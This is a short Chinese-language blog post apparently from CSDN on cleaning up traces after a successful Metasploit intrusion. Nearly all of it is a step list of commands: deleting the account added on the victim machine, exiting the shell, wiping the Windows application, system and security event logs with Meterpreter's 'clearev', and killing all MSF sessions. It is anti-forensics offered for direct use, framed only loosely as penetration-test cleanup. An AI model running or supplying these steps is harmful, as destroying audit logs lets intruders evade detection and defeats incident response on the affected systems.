渗透之——MSF—Meterpreter清理日志

版权声明：本文为博主原创文章，未经博主允许不得转载。 https://blog.csdn.net/l1028386804/article/details/86008037

转载请注明出处：https://blog.csdn.net/l1028386804/article/details/86008037

在我们用MSF成功对目标进行了渗透之后，不要忘记要清理渗透过程中留下的日志，下面就如何清理日志和大家分享下。

步骤如下：

• 删除之前添加的账号
• 删除所有在渗透过程中使用的工具
• 删除应用程序、系统和安全日志
• 关闭所有的Meterpreter连接

1.删除之前添加的账号

C:\Windows\system32> net user 添加的用户名 /del

2.退出目标服务器的shell

C:\Windows\system32> exit
或者
C:\Windows\system32> logoff

3.删除日志

meterpreter > clearev

4.退出meterpreter shell

meterpreter > exit

5.查看所有的MSF连接

msf exploit(multi/handler) > sessions

6.关闭所有的MSF链接

msf exploit(multi/handler) > sessions -K